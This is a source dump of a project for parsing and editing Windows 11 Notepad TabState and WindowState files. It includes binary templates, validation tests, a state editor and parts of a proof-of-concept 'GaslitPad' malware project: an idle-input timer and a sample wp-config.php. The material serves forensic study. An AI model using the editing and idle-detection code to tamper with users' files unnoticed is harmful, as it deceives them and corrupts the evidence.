| { 23 | //TODO: 24 | } 25 | 26 | public static void DeletedFile(string filePath) 27 | { 28 | 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowsNotepadParser-Minimal/WindowsNotepadParser-Minimal.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net8.0 6 | WindowsNotepadParser_Minimal 7 | enable 8 | enable 9 | ogmini 10 | 1.0.5 11 | https://github.com/ogmini/Notepad-State-Library 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /NotepadStateLibrary/NotepadStateLibrary/CRC32Check.cs: -------------------------------------------------------------------------------- 1 | using System.IO.Hashing; 2 | 3 | namespace NotepadStateLibrary 4 | { 5 | internal class CRC32Check 6 | { 7 | private List _data; 8 | 9 | public byte[] CRC32 { get { var c = Crc32.Hash(_data.ToArray()); Array.Reverse(c); return c; } } 10 | 11 | public CRC32Check() 12 | { 13 | _data = new List(); 14 | } 15 | 16 | public void AddBytes(byte[] bytes) 17 | { 18 | foreach (byte b in bytes) 19 | { 20 | _data.Add(b); 21 | } 22 | } 23 | 24 | public void AddBytes(ulong value) 25 | { 26 | AddBytes(value.WriteLEB128Unsigned()); 27 | } 28 | 29 | public void AddBytes(uint value) 30 | { 31 | AddBytes(BitConverter.GetBytes(value)); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowsNotepadParser/WindowsNotepadParser.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net8.0 6 | enable 7 | enable 8 | 1.0.5 9 | ogmini 10 | https://github.com/ogmini/Notepad-State-Library 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /PatternFiles/Windowstate/Notepad-WindowState.hexpat: -------------------------------------------------------------------------------- 1 | #pragma author ogmini https://github.com/ogmini 2 | #pragma description Windows 11 Notepad Window State file %localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState 3 | 4 | #pragma MIME application/octet-stream 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | using ul = type::uLEB128; 12 | using int = u32; 13 | 14 | struct Tab 15 | { 16 | u128 GUID; 17 | }; 18 | 19 | struct WindowState 20 | { 21 | char HeaderIdentifier[2]; // NP 22 | ul SequenceNumber; 23 | ul BytesToCRC32; 24 | u8 Delim[1]; 25 | ul NumberTabs; 26 | 27 | Tab Tabs[NumberTabs]; 28 | 29 | ul ActiveTab; 30 | 31 | int CoordTopLeftX; 32 | int CoordTopLeftY; 33 | 34 | int CoordBottomRightX; 35 | int CoordBottomRightY; 36 | 37 | int WindowSizeWidth; 38 | int WindowSizeHeight; 39 | 40 | u8 Delim2[1]; 41 | 42 | int crc32; 43 | }; 44 | 45 | 46 | 47 | 48 | // -- Declaration -- 49 | 50 | WindowState state @ 0x0; -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 ogmini 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /NotepadStateLibrary/POCMalware/InputTimer.cs: -------------------------------------------------------------------------------- 1 | using System.ComponentModel; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace GaslitPad 5 | { 6 | public static class InputTimer 7 | { 8 | public static TimeSpan GetInputIdleTime() 9 | { 10 | var plii = new NativeMethods.LastInputInfo(); 11 | plii.cbSize = (UInt32)Marshal.SizeOf(plii); 12 | 13 | if (NativeMethods.GetLastInputInfo(ref plii)) 14 | { 15 | return TimeSpan.FromMilliseconds(Environment.TickCount64 - plii.dwTime); 16 | } 17 | else 18 | { 19 | throw new Win32Exception(Marshal.GetLastWin32Error()); 20 | } 21 | } 22 | 23 | public static DateTimeOffset GetLastInputTime() 24 | { 25 | return DateTimeOffset.Now.Subtract(GetInputIdleTime()); 26 | } 27 | 28 | private static class NativeMethods 29 | { 30 | public struct LastInputInfo 31 | { 32 | public UInt32 cbSize; 33 | public UInt32 dwTime; 34 | } 35 | 36 | [DllImport("user32.dll")] 37 | public static extern bool GetLastInputInfo(ref LastInputInfo plii); 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /NotepadStateLibrary/NotepadStateLibrary/UnsavedBufferChunk.cs: -------------------------------------------------------------------------------- 1 | using System.Text; 2 | 3 | namespace NotepadStateLibrary 4 | { 5 | public struct UnsavedBufferChunk 6 | { 7 | /// 8 | /// 9 | /// 10 | public string FileName { get; private set; } 11 | /// 12 | /// 13 | /// 14 | public ulong CursorPosition { get; } 15 | /// 16 | /// 17 | /// 18 | public ulong DeletionAction { get; } 19 | /// 20 | /// 21 | /// 22 | public ulong AdditionAction { get; } 23 | /// 24 | /// 25 | /// 26 | public byte[]? CharactersAdded { get; } 27 | /// 28 | /// 29 | /// 30 | public string CharactersAddedString { get { return CharactersAdded == null ? string.Empty : Encoding.Unicode.GetString(CharactersAdded).ReplaceLineEndings(); } } 31 | /// 32 | /// 33 | /// 34 | public byte[] CRC32Stored { get; } 35 | /// 36 | /// 37 | /// 38 | public byte[] CRC32Calculated { get; } 39 | 40 | /// 41 | /// 42 | /// 43 | /// 44 | /// 45 | /// 46 | /// 47 | /// 48 | /// 49 | public UnsavedBufferChunk(string FileName, ulong CursorPosition, ulong DeletionAction, ulong AdditionAction, byte[]? CharactersAdded, byte[] CRC32Stored, byte[] CRC32Calculated) 50 | { 51 | this.FileName = FileName; 52 | this.CursorPosition = CursorPosition; 53 | this.DeletionAction = DeletionAction; 54 | this.AdditionAction = AdditionAction; 55 | this.CharactersAdded = CharactersAdded; 56 | this.CRC32Stored = CRC32Stored; 57 | this.CRC32Calculated = CRC32Calculated; 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /NotepadStateLibrary/NotepadStateLibrary/LEB128Converter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | namespace NotepadStateLibrary 5 | { 6 | public static class LEB128Converter 7 | { 8 | public static ulong ReadLEB128Unsigned(this Stream stream) 9 | { 10 | ulong value = 0; 11 | int shift = 0; 12 | bool more = true; 13 | 14 | while (more) 15 | { 16 | var next = stream.ReadByte(); 17 | if (next < 0) { throw new InvalidOperationException("Unexpected end of stream"); } 18 | 19 | byte b = (byte)next; 20 | 21 | more = (b & 0x80) != 0; 22 | ulong chunk = b & 0x7fUL; 23 | value |= chunk << shift; 24 | shift += 7; 25 | } 26 | 27 | return value; 28 | } 29 | 30 | public static ulong ReadLEB128Unsigned(this BinaryReader reader) 31 | { 32 | ulong value = 0; 33 | var shift = 0; 34 | var more = true; 35 | 36 | while (more) 37 | { 38 | var next = reader.ReadByte(); 39 | 40 | more = (next & 0x80) != 0; 41 | var chunk = next & 0x7fUL; 42 | value |= chunk << shift; 43 | shift += 7; 44 | } 45 | 46 | return value; 47 | } 48 | 49 | public static byte[] WriteLEB128Unsigned(this ulong value) 50 | { 51 | byte[] bArray = new byte[0]; 52 | 53 | bool more = true; 54 | 55 | while (more) 56 | { 57 | byte chunk = (byte)(value & 0x7fUL); 58 | value >>= 7; 59 | 60 | more = value != 0; 61 | if (more) { chunk |= 0x80; } 62 | 63 | bArray = AddByteToArray(bArray, chunk); 64 | 65 | }; 66 | 67 | Array.Reverse(bArray); 68 | 69 | return bArray; 70 | } 71 | 72 | private static byte[] AddByteToArray(byte[] bArray, byte newByte) 73 | { 74 | byte[] newArray = new byte[bArray.Length + 1]; 75 | bArray.CopyTo(newArray, 1); 76 | newArray[0] = newByte; 77 | return newArray; 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /PatternFiles/Windowstate/Notepad-WindowState.bt: -------------------------------------------------------------------------------- 1 | //------------------------------------------------ 2 | //--- 010 Editor v14.0 Binary Template 3 | // 4 | // File: Notepad-WindowState.bt 5 | // Authors: ogmini https://github.com/ogmini 6 | // Version: 0.2 7 | // Purpose: Template to make sense of the Window State file for Windows 11 Notepad 8 | // Category: Misc 9 | // File Mask: *.bin 10 | // ID Bytes: 4E 50 //NP 11 | // History: 12 | // 0.2 2024-03-14 ogmini: Added slack space. Comments and color improvements. 13 | // 0.1 2024-03-12 ogmini: Initial version 14 | //------------------------------------------------ 15 | 16 | //------------------------------------------------ 17 | // Structs 18 | //------------------------------------------------ 19 | 20 | typedef struct { 21 | do { 22 | ubyte bytes; 23 | } while (bytes > 0x7f); 24 | } Uleb128 ; 25 | 26 | //------------------------------------------------ 27 | // Funcs 28 | //------------------------------------------------ 29 | 30 | uint64 DecodeUleb128(Uleb128 &varint) { 31 | local uint64 val = 0; 32 | local int i; 33 | local uint64 num; 34 | for( i = 0; i < sizeof(varint); i++ ) { 35 | num = varint.bytes[i] & 0x7F; 36 | val |= num << (i * 7); 37 | } 38 | return val; 39 | } 40 | string Uleb128ValueToStr(Uleb128 &varint) { 41 | return Str("0x%X", DecodeUleb128(varint)); 42 | } 43 | 44 | //------------------------------------------------ 45 | // File 46 | //------------------------------------------------ 47 | 48 | struct FILE { 49 | struct HEADER { 50 | char type[2] ; 51 | } header ; 52 | 53 | Uleb128 sequenceNumber ; 54 | Uleb128 bytestoCRC32 ; 55 | ubyte delim; 56 | Uleb128 numberTabs ; 57 | 58 | struct TAB { 59 | GUID g ; 60 | } tab[DecodeUleb128(file.numberTabs)] ; 61 | 62 | 63 | Uleb128 activeTab ; 64 | 65 | struct CoordTopLeft { 66 | uint32 coordx; 67 | uint32 coordy; 68 | } coordtopleft ; 69 | 70 | struct CoordBottomRight { 71 | uint32 coordx; 72 | uint32 coordy; 73 | } coordbottomright ; 74 | 75 | struct WindowSize { 76 | uint32 width; 77 | uint32 height; 78 | } windowsize ; 79 | 80 | 81 | ubyte delim; 82 | uint32 crc32 ; 83 | 84 | while (!FEof()) 85 | { 86 | ubyte slackspace ; 87 | } 88 | } file; -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowStateEditor/Program.cs: -------------------------------------------------------------------------------- 1 | // See https://aka.ms/new-console-template for more information 2 | using NotepadStateLibrary; 3 | using CommandLine; 4 | using System.Diagnostics; 5 | using System.Formats.Asn1; 6 | using System.Globalization; 7 | using System.Text; 8 | using System.ComponentModel; 9 | 10 | 11 | Parser.Default.ParseArguments(args) 12 | .WithParsed(options => 13 | { 14 | string windowStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState"); 15 | List guidList = new List(); 16 | 17 | 18 | if (!string.IsNullOrWhiteSpace(options.windowStateLocation)) 19 | { 20 | windowStateLocation = options.windowStateLocation; 21 | } 22 | 23 | foreach (var stringGuid in options.guidTabs ?? new List()) 24 | { 25 | if (Guid.TryParse(stringGuid, out Guid guid)) 26 | { 27 | guidList.Add(guid); 28 | Console.WriteLine("Add GUID: {0}", stringGuid); 29 | } 30 | else 31 | { 32 | Console.WriteLine("Invalid GUID: {0}", stringGuid); 33 | } 34 | } 35 | 36 | Console.WriteLine("********** Starting **********"); 37 | 38 | foreach (var path in Directory.EnumerateFiles(windowStateLocation, "*.bin")) 39 | { 40 | byte[] o = new byte[0]; 41 | 42 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite)) 43 | { 44 | byte[] data = new byte[fileStream.Length]; 45 | fileStream.Read(data); 46 | 47 | if (data.Length > 0) 48 | { 49 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path)); 50 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path)); 51 | 52 | if (guidList.Count > 0) 53 | { 54 | np.WriteTabList(guidList); 55 | 56 | np.ChangeActiveTab(options.activeTab); 57 | 58 | } 59 | 60 | 61 | 62 | o = np.bytes; 63 | } 64 | } 65 | File.WriteAllBytes(path, o); 66 | } 67 | 68 | Console.WriteLine("********** Finished **********"); 69 | }) 70 | .WithNotParsed(errors => 71 | { 72 | foreach (var error in errors) 73 | { 74 | if (error is HelpRequestedError || error is VersionRequestedError) 75 | { 76 | 77 | } 78 | else 79 | { 80 | Console.WriteLine($"Error: {error}"); 81 | } 82 | } 83 | }); 84 | 85 | 86 | public class Options 87 | { 88 | [Option('w', "windowstatelocation", Required = false, HelpText = "Window State Folder Location. Default value is the system location.")] 89 | public string windowStateLocation { get; set; } 90 | 91 | [Option('t', "tabs", Required = true, HelpText = "Space seperated GUIDs to write to Window State File.")] 92 | public IEnumerable guidTabs { get; set; } 93 | 94 | [Option('a', "activeTab", Required = false, HelpText = "0 based index of the active tab. Default value is 0", Default = 0)] 95 | public int activeTab { get; set; } 96 | } 97 | 98 | 99 | -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowsNotepadParser/ContentToImage.cs: -------------------------------------------------------------------------------- 1 | using NotepadStateLibrary; 2 | using SixLabors.Fonts; 3 | using SixLabors.ImageSharp; 4 | using SixLabors.ImageSharp.Drawing.Processing; 5 | using SixLabors.ImageSharp.Formats.Gif; 6 | using SixLabors.ImageSharp.PixelFormats; 7 | using SixLabors.ImageSharp.Processing; 8 | using System.Text; 9 | 10 | 11 | 12 | 13 | namespace WindowsNotepadParser 14 | { 15 | internal class ContentToImage 16 | { 17 | public ContentToImage(byte[] origContent, List chunks, string outputFilename, int frameDelay = 100, string font = "Arial", int widthModifier = 24, int heightModifier = 36, int fontSize = 36) 18 | { 19 | StringBuilder sb = new StringBuilder(); 20 | sb.Append(Encoding.Unicode.GetString(origContent)); 21 | List contents = new List(); 22 | contents.Add(sb.ToString()); 23 | 24 | foreach (var c in chunks) 25 | { 26 | if (c.DeletionAction > 0) 27 | { 28 | sb.Remove((int)c.CursorPosition, (int)c.DeletionAction); 29 | } 30 | if (c.AdditionAction > 0) 31 | { 32 | sb.Insert((int)c.CursorPosition, Encoding.Unicode.GetString(c.CharactersAdded)); 33 | } 34 | contents.Add(sb.ToString()); 35 | } 36 | 37 | int longest = 0; 38 | int lines = 0; 39 | foreach (var c in contents) 40 | { 41 | var x = FindLongestLine(c); 42 | if (x.Item1 > lines) 43 | { 44 | lines = x.Item1; 45 | } 46 | if (x.Item2 > longest) 47 | { 48 | longest = x.Item2; 49 | } 50 | } 51 | 52 | //TODO: 18 and 24 are hardcoded. Can we figure this out from the Font and Fontsize? 53 | int width = longest * widthModifier; 54 | int height = lines * heightModifier; 55 | 56 | //width = 800; 57 | //height = 800; 58 | 59 | //Initial Image/Content 60 | using Image img = new Image(width, height, Color.White); 61 | img.Mutate(ctx => ctx 62 | .DrawText(Encoding.Unicode.GetString(origContent).ReplaceLineEndings(), new Font(SystemFonts.Get(font), fontSize), Color.Black, new PointF(0, 0))); 63 | 64 | var gifMetadata = img.Metadata.GetGifMetadata(); 65 | gifMetadata.RepeatCount = 0; 66 | 67 | GifFrameMetadata metadata = img.Frames.RootFrame.Metadata.GetGifMetadata(); 68 | metadata.FrameDelay = frameDelay; 69 | 70 | //Later Images/Contents 71 | foreach (var c in contents) 72 | { 73 | using Image cimg = new Image(width, height, Color.White); 74 | 75 | cimg.Mutate(ctx => ctx 76 | .DrawText(c, new Font(SystemFonts.Get(font), fontSize), Color.Black, new PointF(0, 0))); 77 | 78 | metadata = cimg.Frames.RootFrame.Metadata.GetGifMetadata(); 79 | metadata.FrameDelay = frameDelay; 80 | img.Frames.AddFrame(cimg.Frames.RootFrame); 81 | } 82 | 83 | img.SaveAsGif(outputFilename); 84 | } 85 | static (int, int) FindLongestLine(string input) 86 | { 87 | var lines = input.Split(new[] { '\r', '\n' }); 88 | string longestLine = ""; 89 | 90 | foreach (string line in lines) 91 | { 92 | if (line.Length > longestLine.Length) 93 | { 94 | longestLine = line; 95 | } 96 | } 97 | 98 | return (lines.Length, longestLine.Length); 99 | } 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /NotepadStateLibrary/POCMalware/wp-config.php: -------------------------------------------------------------------------------- 1 | -&3du!!^iN|U[57nG({}6&compromisedQ-,NXiN5Uv7txxX469`8v-dCYYf,H'); 52 | define('SECURE_AUTH_KEY', '+(_bR??rP,};JciA+oA)}#X*;:W?U~|H^L1B!^BbAvA!VR3g+7s#AIwHZ1;%lU+D'); 53 | define('LOGGED_IN_KEY', 'a?%7Bgv|st #OCq`nxfg 0!h0R9/VWTa+a]S2e b/a$WSJg-;F:Ma1W[utspk^?50I2XJ<1e-Z[o]-8)*d-W|x(luXLh#C3'); 58 | define('NONCE_SALT', 'H_:k]oa%Aq4`,<@Y+L<|+8:dZIY)pp>ueOj,/J#e8|_>1:v0Ro? (/[~myn/1?0W'); 59 | 60 | /**#@-*/ 61 | 62 | /** 63 | * WordPress database table prefix. 64 | * 65 | * You can have multiple installations in one database if you give each 66 | * a unique prefix. Only numbers, letters, and underscores please! 67 | * 68 | * At the installation time, database tables are created with the specified prefix. 69 | * Changing this value after WordPress is installed will make your site think 70 | * it has not been installed. 71 | * 72 | * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix 73 | */ 74 | $table_prefix = 'wp_'; 75 | 76 | /** 77 | * For developers: WordPress debugging mode. 78 | * 79 | * Change this to true to enable the display of notices during development. 80 | * It is strongly recommended that plugin and theme developers use WP_DEBUG 81 | * in their development environments. 82 | * 83 | * For information on other constants that can be used for debugging, 84 | * visit the documentation. 85 | * 86 | * @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/ 87 | */ 88 | define( 'WP_DEBUG', false ); 89 | 90 | /* Add any custom values between this line and the "stop editing" line. */ 91 | 92 | 93 | 94 | /* That's all, stop editing! Happy publishing. */ 95 | 96 | /** Absolute path to the WordPress directory. */ 97 | if ( ! defined( 'ABSPATH' ) ) { 98 | define( 'ABSPATH', __DIR__ . '/' ); 99 | } 100 | 101 | /** Sets up WordPress vars and included files. */ 102 | require_once ABSPATH . 'wp-settings.php'; 103 | -------------------------------------------------------------------------------- /NotepadStateLibrary/NotepadStateLibrary.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.9.34622.214 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NotepadStateLibrary", "NotepadStateLibrary\NotepadStateLibrary.csproj", "{2A5CD065-D158-4CA5-A516-7D9333474AA1}" 7 | EndProject 8 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TestApp", "TestApp\TestApp.csproj", "{85127A37-7140-4B82-8DCF-5FE8F7A638BD}" 9 | EndProject 10 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WindowsNotepadParser", "WindowsNotepadParser\WindowsNotepadParser.csproj", "{D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}" 11 | EndProject 12 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "GaslitPad", "POCMalware\GaslitPad.csproj", "{F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}" 13 | EndProject 14 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WindowsNotepadParser-Minimal", "WindowsNotepadParser-Minimal\WindowsNotepadParser-Minimal.csproj", "{36605D94-34FE-43DA-9FEF-B29DEF79644B}" 15 | EndProject 16 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ValidationTests", "ValidationTests\ValidationTests.csproj", "{532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}" 17 | EndProject 18 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowStateEditor", "WindowStateEditor\WindowStateEditor.csproj", "{7128ED92-E8E0-4C3F-B683-780CCE0FBA20}" 19 | EndProject 20 | Global 21 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 22 | Debug|Any CPU = Debug|Any CPU 23 | Release|Any CPU = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 26 | {2A5CD065-D158-4CA5-A516-7D9333474AA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {2A5CD065-D158-4CA5-A516-7D9333474AA1}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {2A5CD065-D158-4CA5-A516-7D9333474AA1}.Release|Any CPU.ActiveCfg = Release|Any CPU 29 | {2A5CD065-D158-4CA5-A516-7D9333474AA1}.Release|Any CPU.Build.0 = Release|Any CPU 30 | {85127A37-7140-4B82-8DCF-5FE8F7A638BD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 31 | {85127A37-7140-4B82-8DCF-5FE8F7A638BD}.Debug|Any CPU.Build.0 = Debug|Any CPU 32 | {85127A37-7140-4B82-8DCF-5FE8F7A638BD}.Release|Any CPU.ActiveCfg = Release|Any CPU 33 | {85127A37-7140-4B82-8DCF-5FE8F7A638BD}.Release|Any CPU.Build.0 = Release|Any CPU 34 | {D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 35 | {D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}.Debug|Any CPU.Build.0 = Debug|Any CPU 36 | {D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}.Release|Any CPU.ActiveCfg = Release|Any CPU 37 | {D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}.Release|Any CPU.Build.0 = Release|Any CPU 38 | {F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 39 | {F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}.Debug|Any CPU.Build.0 = Debug|Any CPU 40 | {F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}.Release|Any CPU.ActiveCfg = Release|Any CPU 41 | {F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}.Release|Any CPU.Build.0 = Release|Any CPU 42 | {36605D94-34FE-43DA-9FEF-B29DEF79644B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 43 | {36605D94-34FE-43DA-9FEF-B29DEF79644B}.Debug|Any CPU.Build.0 = Debug|Any CPU 44 | {36605D94-34FE-43DA-9FEF-B29DEF79644B}.Release|Any CPU.ActiveCfg = Release|Any CPU 45 | {36605D94-34FE-43DA-9FEF-B29DEF79644B}.Release|Any CPU.Build.0 = Release|Any CPU 46 | {532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 47 | {532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Debug|Any CPU.Build.0 = Debug|Any CPU 48 | {532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Release|Any CPU.ActiveCfg = Release|Any CPU 49 | {532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Release|Any CPU.Build.0 = Release|Any CPU 50 | {7128ED92-E8E0-4C3F-B683-780CCE0FBA20}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 51 | {7128ED92-E8E0-4C3F-B683-780CCE0FBA20}.Debug|Any CPU.Build.0 = Debug|Any CPU 52 | {7128ED92-E8E0-4C3F-B683-780CCE0FBA20}.Release|Any CPU.ActiveCfg = Release|Any CPU 53 | {7128ED92-E8E0-4C3F-B683-780CCE0FBA20}.Release|Any CPU.Build.0 = Release|Any CPU 54 | EndGlobalSection 55 | GlobalSection(SolutionProperties) = preSolution 56 | HideSolutionNode = FALSE 57 | EndGlobalSection 58 | GlobalSection(ExtensibilityGlobals) = postSolution 59 | SolutionGuid = {AC625D0E-53B7-4E6F-B0D9-C77BD7BB4F8B} 60 | EndGlobalSection 61 | EndGlobal 62 | -------------------------------------------------------------------------------- /NotepadStateLibrary/ValidationTests/Program.cs: -------------------------------------------------------------------------------- 1 | using NotepadStateLibrary; 2 | 3 | 4 | string tabStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState"); 5 | string windowStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState"); 6 | 7 | foreach (var path in Directory.EnumerateFiles(tabStateLocation, "*.bin")) 8 | { 9 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 10 | { 11 | byte[] data = new byte[fileStream.Length]; 12 | fileStream.Read(data); 13 | 14 | if (data.Length > 0) 15 | { 16 | Console.WriteLine("Processing TabState - {0}", Path.GetFileName(path)); 17 | NPTabState np = new NPTabState(data, Path.GetFileName(path)); 18 | 19 | switch (np.TypeFlag) 20 | { 21 | case 0: 22 | //No File 23 | //Validate file against expected 24 | bool passNoFile = np.ContentLength == 56 25 | && np.ContentString == "Lorem ipsum dolor sit amet, consectetur adipiscing elit." 26 | && np.OptionCount == 2 27 | && np.SelectionStartIndex == np.SelectionEndIndex 28 | && np.SelectionStartIndex == 56 29 | && np.bytes.Length == 131; 30 | if (!passNoFile) 31 | { 32 | throw new Exception("No File Failure"); 33 | } 34 | break; 35 | case 1: 36 | //File 37 | //Validate file against expected 38 | bool passFile = np.ContentLength == 1653 39 | && np.FilePath.EndsWith("SavedFile.txt") 40 | && np.OptionCount == 2 41 | && np.SavedFileContentLength == 1599 42 | && np.SelectionStartIndex == np.SelectionEndIndex 43 | && np.SelectionStartIndex == 56 44 | && (np.bytes.Length == 3483 || np.bytes.Length == 3528); 45 | 46 | if (!passFile) 47 | { 48 | throw new Exception("File Failure"); 49 | } 50 | break; 51 | default: 52 | //State 53 | //TODO: Validate file against expected 54 | break; 55 | } 56 | 57 | if (np.UnsavedBufferChunks.Count > 0) 58 | { 59 | //Validate file against known 60 | bool passChunks = np.UnsavedBufferChunks.Count == 5 61 | && np.UnsavedBufferChunks[0].AdditionAction == 1 62 | && np.UnsavedBufferChunks[0].CursorPosition == 56 63 | && np.UnsavedBufferChunks[0].CharactersAddedString == "A" 64 | && np.UnsavedBufferChunks[0].DeletionAction == 0 65 | && np.UnsavedBufferChunks[0].CRC32Stored.SequenceEqual(np.UnsavedBufferChunks[0].CRC32Calculated); 66 | 67 | if (!passChunks) 68 | { 69 | throw new Exception("Chunk Failure"); 70 | } 71 | } 72 | 73 | if (!np.CRC32Calculated.SequenceEqual(np.CRC32Stored)) 74 | { 75 | throw new Exception("CRC32 Failure"); 76 | } 77 | } 78 | } 79 | } 80 | 81 | foreach (var path in Directory.EnumerateFiles(windowStateLocation, "*.bin")) 82 | { 83 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 84 | { 85 | byte[] data = new byte[fileStream.Length]; 86 | fileStream.Read(data); 87 | 88 | if (data.Length > 0) 89 | { 90 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path)); 91 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path)); 92 | 93 | //TODO: Validate file against expected 94 | bool passWindow = np.BytesToCRC == 44 || np.BytesToCRC == 60; 95 | 96 | if (!passWindow) 97 | { 98 | throw new Exception("Window State Failure"); 99 | } 100 | 101 | if (!np.CRC32Calculated.SequenceEqual(np.CRC32Stored)) 102 | { 103 | throw new Exception("CRC32 Failure"); 104 | } 105 | } 106 | } 107 | } -------------------------------------------------------------------------------- /PatternFiles/Tabstate/Notepad-TabState.bt: -------------------------------------------------------------------------------- 1 | //------------------------------------------------ 2 | //--- 010 Editor v15.0 Binary Template 3 | // 4 | // File: Notepad-TabState.bt 5 | // Authors: ogmini (https://github.com/ogmini), NordGaren (https://github.com/nordgaren/) 6 | // Version: 0.2 7 | // Purpose: Template to make sense of the Tab State file for Windows 11 Notepad 8 | // Category: Misc 9 | // File Mask: *.bin 10 | // ID Bytes: 4E 50 //NP 11 | // History: 12 | // 0.2 2024-10-12 ogmini: Additions to TypeFlag enum, correction to AddedCharacters and Content, correction to Uleb128 to string 13 | // 0.1 2024-10-09 ogmini: Initial version 14 | //------------------------------------------------ 15 | 16 | //------------------------------------------------ 17 | // Structs 18 | //------------------------------------------------ 19 | 20 | typedef struct { 21 | do { 22 | ubyte bytes; 23 | } while (bytes > 0x7F); 24 | } Uleb128 ; 25 | 26 | enum TypeFlag { 27 | Unsaved = 0, 28 | Saved = 1, 29 | NoFileTabState = 10, 30 | FileTabState = 11 31 | }; 32 | 33 | enum Encoding { 34 | ANSI = 1, 35 | UTF16LE = 2, 36 | UTF16BE = 3, 37 | UTF8BOM = 4, 38 | UTF8 = 5, 39 | }; 40 | 41 | enum CarriageType { 42 | Windows_CRLF 